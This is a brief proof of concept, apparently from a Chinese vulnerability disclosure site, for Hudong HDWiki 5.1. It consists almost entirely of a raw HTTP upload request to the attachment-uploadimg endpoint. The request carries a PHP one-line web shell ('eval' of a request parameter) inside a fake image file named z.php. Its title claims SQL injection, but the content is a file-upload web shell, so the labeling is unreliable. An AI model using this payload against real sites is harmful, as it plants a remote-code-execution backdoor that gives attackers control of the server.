Hudong HDWiki 5.1 URI SQL注入漏洞

                                                POST /hdwiki/index.php?attachment-uploadimg HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.wooyun.org/
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7db261e100f2e
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2)
Host: www.wooyun.org
Content-Length: 370
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: Hm_lvt_c12f88b5c1cd041a732dea597a5ec94c=1298002704449; hd_sid=raG13H; hd_auth=4113YBBXXB13XtdR6EXTA1Cb9BuhZMK%2F29wdoHDQJTV5QZOoYd62OHd46iXKqf4Qz%2F5gc6pLm9fZ%2Bdgv68MT; hd_searchtime=1300983373
-----------------------------7db261e100f2e
Content-Disposition: form-data; name="MAX_FILE_SIZE"
30000
-----------------------------7db261e100f2e
Content-Disposition: form-data; name="photofile"; filename="C:\fucker\z.php"
Content-Type: image/image
zzz<?eval($_REQUEST[z])?>
-----------------------------7db261e100f2e--